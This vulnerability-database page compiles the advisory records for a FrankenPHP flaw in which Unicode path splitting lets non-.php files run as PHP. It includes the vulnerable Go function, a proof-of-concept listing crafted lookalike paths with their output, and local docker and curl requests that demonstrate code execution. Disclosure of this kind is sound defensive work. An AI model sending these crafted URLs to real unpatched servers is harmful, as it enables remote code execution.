Vulnerability-Lookup

CVE-2026-45062 (GCVE-0-2026-45062)

Vulnerability from cvelistv5 – Published: 2026-06-10 17:38 – Updated: 2026-06-11 14:00

Title

FrankenPHP: Unsafe Unicode Handling in CGI Path Splitting Allows Execution of Non-PHP Files

Summary

FrankenPHP is a modern application server for PHP. From version 1.11.2 to before version 1.12.3, the splitPos() function in cgi.go misuses golang.org/x/text/search with search.IgnoreCase when the request path contains a non-ASCII byte. Two distinct flaws in that fallback let an attacker mislead FrankenPHP into treating a non-.php file as a .php script. In any deployment where the attacker can place content into a file served by FrankenPHP (uploads, file storage, etc.), this can be escalated to remote code execution by crafting a URL whose path triggers either flaw. This issue has been patched in version 1.12.3.

Severity

8.1 (High)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-06-11 14:00 UTC

CWE

CWE-20 - Improper Input Validation
CWE-176 - Improper Handling of Unicode Encoding
CWE-178 - Improper Handling of Case Sensitivity

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7637 records in the last 180 days details

References

2 references

URL	Tags
https://github.com/php/frankenphp/security/adviso…	x_refsource_CONFIRM
https://github.com/php/frankenphp/releases/tag/v1.12.3	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
php	frankenphp	Affected: >= 1.11.2, < 1.12.3	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-45062

Vulnerability from fkie_nvd - Published: 2026-06-10 18:16 - Updated: 2026-06-17 10:51

Severity

8.1 (High) - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/php/frankenphp/releases/tag/v1.12.3
	security-advisories@github.com	https://github.com/php/frankenphp/security/advisories/GHSA-3g8v-8r37-cgjm
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/php/frankenphp/security/advisories/GHSA-3g8v-8r37-cgjm

Impacted products

	Vendor	Product	Version

JSON

To clipboard

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          "product": "frankenphp",
          "vendor": "php",
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              "status": "affected",
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            }
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      ],
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    }
  ],
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    }
  ],
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GHSA-3G8V-8R37-CGJM

Vulnerability from github – Published: 2026-05-15 17:09 – Updated: 2026-06-10 18:41

Summary

FrankenPHP: Unsafe Unicode Handling in CGI Path Splitting Allows Execution of Non-PHP Files

Details

Summary

The splitPos() function in cgi.go misuses golang.org/x/text/search with search.IgnoreCase when the request path contains a non-ASCII byte. Two distinct flaws in that fallback let an attacker mislead FrankenPHP into treating a non-.php file as a .php script. In any deployment where the attacker can place content into a file served by FrankenPHP (uploads, file storage, etc.), this can be escalated to remote code execution by crafting a URL whose path triggers either flaw.

This advisory consolidates two independent reports against the same function (the duplicate, GHSA-v4h7-cj44-8fc8, has been closed). Both were reported by @KC1zs4.

Details

var splitSearchNonASCII = search.New(language.Und, search.IgnoreCase)

func splitPos(path string, splitPath []string) int {
    if len(splitPath) == 0 {
        return 0
    }
    pathLen := len(path)
    for _, split := range splitPath {
        splitLen := len(split)
        for i := 0; i < pathLen; i++ {
            if path[i] >= utf8.RuneSelf {
                if _, end := splitSearchNonASCII.IndexString(path, split); end > -1 {
                    return end
                }
                break
            }
            if i+splitLen > pathLen {
                continue
            }
            match := true
            for j := 0; j < splitLen; j++ {
                c := path[i+j]
                if c >= utf8.RuneSelf {
                    if _, end := splitSearchNonASCII.IndexString(path, split); end > -1 {
                        return end
                    }
                    break // <-- flaw 1: 'match' is still true
                }
                if 'A' <= c && c <= 'Z' {
                    c += 'a' - 'A'
                }
                if c != split[j] {
                    match = false
                    break
                }
            }
            if match {
                return i + splitLen
            }
        }
    }
    return -1
}

Flaw 1 — Control-flow: stale `match` after inner non-ASCII fallback

In the inner for j loop, when a byte satisfies c >= utf8.RuneSelf and splitSearchNonASCII.IndexString(...) returns -1, the loop breaks without setting match = false. The outer code then evaluates if match { return i + splitLen } with match still true, returning a position as if .php had been matched. The script-name suffix actually present at that offset is whatever bytes the attacker chose, so a file named name.<U+00A1>.txt gets routed as PHP.

Flaw 2 — Unicode equivalence: `search.IgnoreCase` folds non-ASCII lookalikes onto ASCII

search.New(language.Und, search.IgnoreCase) performs Unicode equivalence matching (compatibility decomposition + case folding), which goes far beyond the ASCII-only case folding the surrounding code is built for. Many code points fold onto ASCII ., p, h, p, so a path containing ﹒php, ．php, .ｐhp, .ⓟⓗⓟ, .𝗽𝗵𝗽, .𝓅𝒽𝓅, .𝖕𝖍𝖕, etc. is reported as .php.

Both flaws share the same root cause: invoking search.IgnoreCase to match an ASCII-only, validated-lower-case split entry against an arbitrary path. WithRequestSplitPath already guarantees every entry is ASCII and lower-cased, so any byte >= utf8.RuneSelf in the path can never be part of a legitimate match — but the fallback ignored that guarantee.

PoC

Standalone reproducer (copy splitPos from cgi.go verbatim, plus the imports):

package main

import (
    "fmt"
    "unicode/utf8"

    "golang.org/x/text/language"
    "golang.org/x/text/search"
)

var splitSearchNonASCII = search.New(language.Und, search.IgnoreCase)

// ... splitPos copied verbatim from cgi.go ...

func main() {
    split := []string{".php"}
    payloads := []string{
        // flaw 1
        "/PoC-match-unset.txt",   // expected: -1
        "/PoC-match-unset.¡.txt", // expected: -1, actual: 20

        // flaw 2
        "/shell﹒php",          // ﹒ small full stop
        "/shell．php",          // ． fullwidth full stop
        "/shell.ｐhp",          // ｐ fullwidth p
        "/shell.pｈp",          // ｈ fullwidth h
        "/shell.ⓟⓗⓟ",                 // ⓟⓗⓟ circled
        "/shell.\U0001D5FD\U0001D5F5\U0001D5FD",     // 𝗽𝗵𝗽 mathematical sans-serif bold
        "/shell.\U0001D4C5\U0001D4BD\U0001D4C5",     // 𝓅𝒽𝓅 mathematical script
        "/shell.ⓟⓗⓟ.anything-after-payload.php",
    }
    for _, p := range payloads {
        fmt.Printf("%-50s : %d\n", p, splitPos(p, split))
    }
}

Run go run poc.go:

/PoC-match-unset.txt                               : -1
/PoC-match-unset.¡.txt                             : 20
/shell﹒php                                        : 12
/shell．php                                        : 12
/shell.ｐhp                                         : 12
/shell.pｈp                                         : 12
/shell.ⓟⓗⓟ                                          : 16
/shell.𝗽𝗵𝗽                                          : 19
/shell.𝓅𝒽𝓅                                          : 19
/shell.ⓟⓗⓟ.anything-after-payload.php               : 16

Every value other than -1 is a wrong answer: splitPos claims .php was matched at the printed offset, so SCRIPT_FILENAME is set to the corresponding non-PHP file (which PHP then loads and executes).

End-to-end demo

Directory layout:

.
├── Caddyfile          # `:8080 { root * /app/public; php }`
└── public/
    ├── index.php
    ├── poc-match-unset.¡.   # contains <?php echo "marker=flaw1\n"; ?>
    └── poc-search-norm.𝗽𝗵𝗽  # contains <?php echo "marker=flaw2\n"; ?>

docker run --rm -d --name frankenphp-poc \
  -p 18080:8080 \
  -v "$(pwd)/Caddyfile:/etc/frankenphp/Caddyfile:ro" \
  -v "$(pwd)/public:/app/public" \
  dunglas/frankenphp:latest

# baseline (correctly fails to map a .txt or non-php file to PHP)
curl -i --path-as-is "http://127.0.0.1:18080/poc-match-unset.txt/trigger"
curl -i --path-as-is "http://127.0.0.1:18080/poc-search-norm/trigger"

# flaw 1 — runs poc-match-unset.¡. as PHP
curl -i --path-as-is "http://127.0.0.1:18080/poc-match-unset.%C2%A1.txt/trigger"

# flaw 2 — runs poc-search-norm.𝗽𝗵𝗽 as PHP
curl -i --path-as-is "http://127.0.0.1:18080/poc-search-norm.%F0%9D%97%BD%F0%9D%97%B5%F0%9D%97%BD.anything-after-payload.php/trigger"

Both crafted requests respond with the marker payload from the non-.php file, confirming arbitrary code execution through the body of attacker-controlled files.

Impact

Comparable in shape to CVE-2026-24895 but with a stricter precondition: the attacker needs the ability to place content into a file whose name matches one of the bypass patterns (the Unicode lookalike forms or a name containing a non-ASCII byte after a .). Where that precondition holds — common in upload endpoints, user-content stores, package mirrors, etc. — the bypass yields RCE in the FrankenPHP process via a single crafted URL, without authentication, over the network. CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — High (8.1).

Patch

Both flaws share a single fix: drop the golang.org/x/text/search fallback entirely and treat any byte >= utf8.RuneSelf in the path as a non-match. Split entries are validated ASCII-only and lower-cased upstream, so this preserves correct behavior for every legitimate path while making the Unicode bypasses unrepresentable. The replacement is a tight byte loop with no library calls in the hot path.

Credit

Both flaws were reported by @KC1zs4.

Severity

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.12.2"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/dunglas/frankenphp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.11.2"
            },
            {
              "fixed": "1.12.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45062"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-176",
      "CWE-178",
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-15T17:09:46Z",
    "nvd_published_at": "2026-06-10T18:16:57Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe `splitPos()` function in [`cgi.go`](https://github.com/php/frankenphp/blob/main/cgi.go) misuses `golang.org/x/text/search` with `search.IgnoreCase` when the request path contains a non-ASCII byte. Two distinct flaws in that fallback let an attacker mislead FrankenPHP into treating a non-`.php` file as a `.php` script. In any deployment where the attacker can place content into a file served by FrankenPHP (uploads, file storage, etc.), this can be escalated to remote code execution by crafting a URL whose path triggers either flaw.\n\nThis advisory consolidates two independent reports against the same function (the duplicate, GHSA-v4h7-cj44-8fc8, has been closed). Both were reported by @KC1zs4.\n\n### Details\n\n```go\nvar splitSearchNonASCII = search.New(language.Und, search.IgnoreCase)\n\nfunc splitPos(path string, splitPath []string) int {\n\tif len(splitPath) == 0 {\n\t\treturn 0\n\t}\n\tpathLen := len(path)\n\tfor _, split := range splitPath {\n\t\tsplitLen := len(split)\n\t\tfor i := 0; i \u003c pathLen; i++ {\n\t\t\tif path[i] \u003e= utf8.RuneSelf {\n\t\t\t\tif _, end := splitSearchNonASCII.IndexString(path, split); end \u003e -1 {\n\t\t\t\t\treturn end\n\t\t\t\t}\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tif i+splitLen \u003e pathLen {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tmatch := true\n\t\t\tfor j := 0; j \u003c splitLen; j++ {\n\t\t\t\tc := path[i+j]\n\t\t\t\tif c \u003e= utf8.RuneSelf {\n\t\t\t\t\tif _, end := splitSearchNonASCII.IndexString(path, split); end \u003e -1 {\n\t\t\t\t\t\treturn end\n\t\t\t\t\t}\n\t\t\t\t\tbreak // \u003c-- flaw 1: \u0027match\u0027 is still true\n\t\t\t\t}\n\t\t\t\tif \u0027A\u0027 \u003c= c \u0026\u0026 c \u003c= \u0027Z\u0027 {\n\t\t\t\t\tc += \u0027a\u0027 - \u0027A\u0027\n\t\t\t\t}\n\t\t\t\tif c != split[j] {\n\t\t\t\t\tmatch = false\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif match {\n\t\t\t\treturn i + splitLen\n\t\t\t}\n\t\t}\n\t}\n\treturn -1\n}\n```\n\n#### Flaw 1 \u2014 Control-flow: stale `match` after inner non-ASCII fallback\n\nIn the inner `for j` loop, when a byte satisfies `c \u003e= utf8.RuneSelf` and `splitSearchNonASCII.IndexString(...)` returns `-1`, the loop `break`s without setting `match = false`. The outer code then evaluates `if match { return i + splitLen }` with `match` still `true`, returning a position as if `.php` had been matched. The script-name suffix actually present at that offset is whatever bytes the attacker chose, so a file named `name.\u003cU+00A1\u003e.txt` gets routed as PHP.\n\n#### Flaw 2 \u2014 Unicode equivalence: `search.IgnoreCase` folds non-ASCII lookalikes onto ASCII\n\n`search.New(language.Und, search.IgnoreCase)` performs Unicode equivalence matching (compatibility decomposition + case folding), which goes far beyond the ASCII-only case folding the surrounding code is built for. Many code points fold onto ASCII `.`, `p`, `h`, `p`, so a path containing `\ufe52php`, `\uff0ephp`, `.\uff50hp`, `.\u24df\u24d7\u24df`, `.\ud835\uddfd\ud835\uddf5\ud835\uddfd`, `.\ud835\udcc5\ud835\udcbd\ud835\udcc5`, `.\ud835\udd95\ud835\udd8d\ud835\udd95`, etc. is reported as `.php`.\n\nBoth flaws share the same root cause: invoking `search.IgnoreCase` to match an ASCII-only, validated-lower-case split entry against an arbitrary path. `WithRequestSplitPath` already guarantees every entry is ASCII and lower-cased, so any byte `\u003e= utf8.RuneSelf` in the path can never be part of a legitimate match \u2014 but the fallback ignored that guarantee.\n\n### PoC\n\nStandalone reproducer (copy `splitPos` from `cgi.go` verbatim, plus the imports):\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"unicode/utf8\"\n\n\t\"golang.org/x/text/language\"\n\t\"golang.org/x/text/search\"\n)\n\nvar splitSearchNonASCII = search.New(language.Und, search.IgnoreCase)\n\n// ... splitPos copied verbatim from cgi.go ...\n\nfunc main() {\n\tsplit := []string{\".php\"}\n\tpayloads := []string{\n\t\t// flaw 1\n\t\t\"/PoC-match-unset.txt\",   // expected: -1\n\t\t\"/PoC-match-unset.\u00a1.txt\", // expected: -1, actual: 20\n\n\t\t// flaw 2\n\t\t\"/shell\ufe52php\",          // \ufe52 small full stop\n\t\t\"/shell\uff0ephp\",          // \uff0e fullwidth full stop\n\t\t\"/shell.\uff50hp\",          // \uff50 fullwidth p\n\t\t\"/shell.p\uff48p\",          // \uff48 fullwidth h\n\t\t\"/shell.\u24df\u24d7\u24df\",                 // \u24df\u24d7\u24df circled\n\t\t\"/shell.\\U0001D5FD\\U0001D5F5\\U0001D5FD\",     // \ud835\uddfd\ud835\uddf5\ud835\uddfd mathematical sans-serif bold\n\t\t\"/shell.\\U0001D4C5\\U0001D4BD\\U0001D4C5\",     // \ud835\udcc5\ud835\udcbd\ud835\udcc5 mathematical script\n\t\t\"/shell.\u24df\u24d7\u24df.anything-after-payload.php\",\n\t}\n\tfor _, p := range payloads {\n\t\tfmt.Printf(\"%-50s : %d\\n\", p, splitPos(p, split))\n\t}\n}\n```\n\nRun `go run poc.go`:\n\n```text\n/PoC-match-unset.txt                               : -1\n/PoC-match-unset.\u00a1.txt                             : 20\n/shell\ufe52php                                        : 12\n/shell\uff0ephp                                        : 12\n/shell.\uff50hp                                         : 12\n/shell.p\uff48p                                         : 12\n/shell.\u24df\u24d7\u24df                                          : 16\n/shell.\ud835\uddfd\ud835\uddf5\ud835\uddfd                                          : 19\n/shell.\ud835\udcc5\ud835\udcbd\ud835\udcc5                                          : 19\n/shell.\u24df\u24d7\u24df.anything-after-payload.php               : 16\n```\n\nEvery value other than `-1` is a wrong answer: `splitPos` claims `.php` was matched at the printed offset, so `SCRIPT_FILENAME` is set to the corresponding non-PHP file (which PHP then loads and executes).\n\n#### End-to-end demo\n\nDirectory layout:\n\n```\n.\n\u251c\u2500\u2500 Caddyfile          # `:8080 { root * /app/public; php }`\n\u2514\u2500\u2500 public/\n    \u251c\u2500\u2500 index.php\n    \u251c\u2500\u2500 poc-match-unset.\u00a1.   # contains \u003c?php echo \"marker=flaw1\\n\"; ?\u003e\n    \u2514\u2500\u2500 poc-search-norm.\ud835\uddfd\ud835\uddf5\ud835\uddfd  # contains \u003c?php echo \"marker=flaw2\\n\"; ?\u003e\n```\n\n```bash\ndocker run --rm -d --name frankenphp-poc \\\n  -p 18080:8080 \\\n  -v \"$(pwd)/Caddyfile:/etc/frankenphp/Caddyfile:ro\" \\\n  -v \"$(pwd)/public:/app/public\" \\\n  dunglas/frankenphp:latest\n\n# baseline (correctly fails to map a .txt or non-php file to PHP)\ncurl -i --path-as-is \"http://127.0.0.1:18080/poc-match-unset.txt/trigger\"\ncurl -i --path-as-is \"http://127.0.0.1:18080/poc-search-norm/trigger\"\n\n# flaw 1 \u2014 runs poc-match-unset.\u00a1. as PHP\ncurl -i --path-as-is \"http://127.0.0.1:18080/poc-match-unset.%C2%A1.txt/trigger\"\n\n# flaw 2 \u2014 runs poc-search-norm.\ud835\uddfd\ud835\uddf5\ud835\uddfd as PHP\ncurl -i --path-as-is \"http://127.0.0.1:18080/poc-search-norm.%F0%9D%97%BD%F0%9D%97%B5%F0%9D%97%BD.anything-after-payload.php/trigger\"\n```\n\nBoth crafted requests respond with the marker payload from the non-`.php` file, confirming arbitrary code execution through the body of attacker-controlled files.\n\n### Impact\n\nComparable in shape to [CVE-2026-24895](https://github.com/php/frankenphp/security/advisories/GHSA-g966-83w7-6w38) but with a stricter precondition: the attacker needs the ability to place content into a file whose name matches one of the bypass patterns (the Unicode lookalike forms or a name containing a non-ASCII byte after a `.`). Where that precondition holds \u2014 common in upload endpoints, user-content stores, package mirrors, etc. \u2014 the bypass yields RCE in the FrankenPHP process via a single crafted URL, without authentication, over the network. CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H \u2014 High (8.1).\n\n### Patch\n\nBoth flaws share a single fix: drop the `golang.org/x/text/search` fallback entirely and treat any byte `\u003e= utf8.RuneSelf` in the path as a non-match. Split entries are validated ASCII-only and lower-cased upstream, so this preserves correct behavior for every legitimate path while making the Unicode bypasses unrepresentable. The replacement is a tight byte loop with no library calls in the hot path.\n\n### Credit\n\nBoth flaws were reported by @KC1zs4.",
  "id": "GHSA-3g8v-8r37-cgjm",
  "modified": "2026-06-10T18:41:15Z",
  "published": "2026-05-15T17:09:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/php/frankenphp/security/advisories/GHSA-3g8v-8r37-cgjm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45062"
    },
    {
      "type": "WEB",
      "url": "https://github.com/php/frankenphp/commit/2d0f480329a02571d6f635dad9fdb066e1a11e81"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/php/frankenphp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/php/frankenphp/releases/tag/v1.12.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "FrankenPHP: Unsafe Unicode Handling in CGI Path Splitting Allows Execution of Non-PHP Files"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

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CVE-2026-45062 (GCVE-0-2026-45062)

FKIE_CVE-2026-45062

GHSA-3G8V-8R37-CGJM

Summary

Details

Flaw 1 — Control-flow: stale match after inner non-ASCII fallback

Flaw 2 — Unicode equivalence: search.IgnoreCase folds non-ASCII lookalikes onto ASCII

PoC

End-to-end demo

Impact

Patch

Credit

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour

Flaw 1 — Control-flow: stale `match` after inner non-ASCII fallback

Flaw 2 — Unicode equivalence: `search.IgnoreCase` folds non-ASCII lookalikes onto ASCII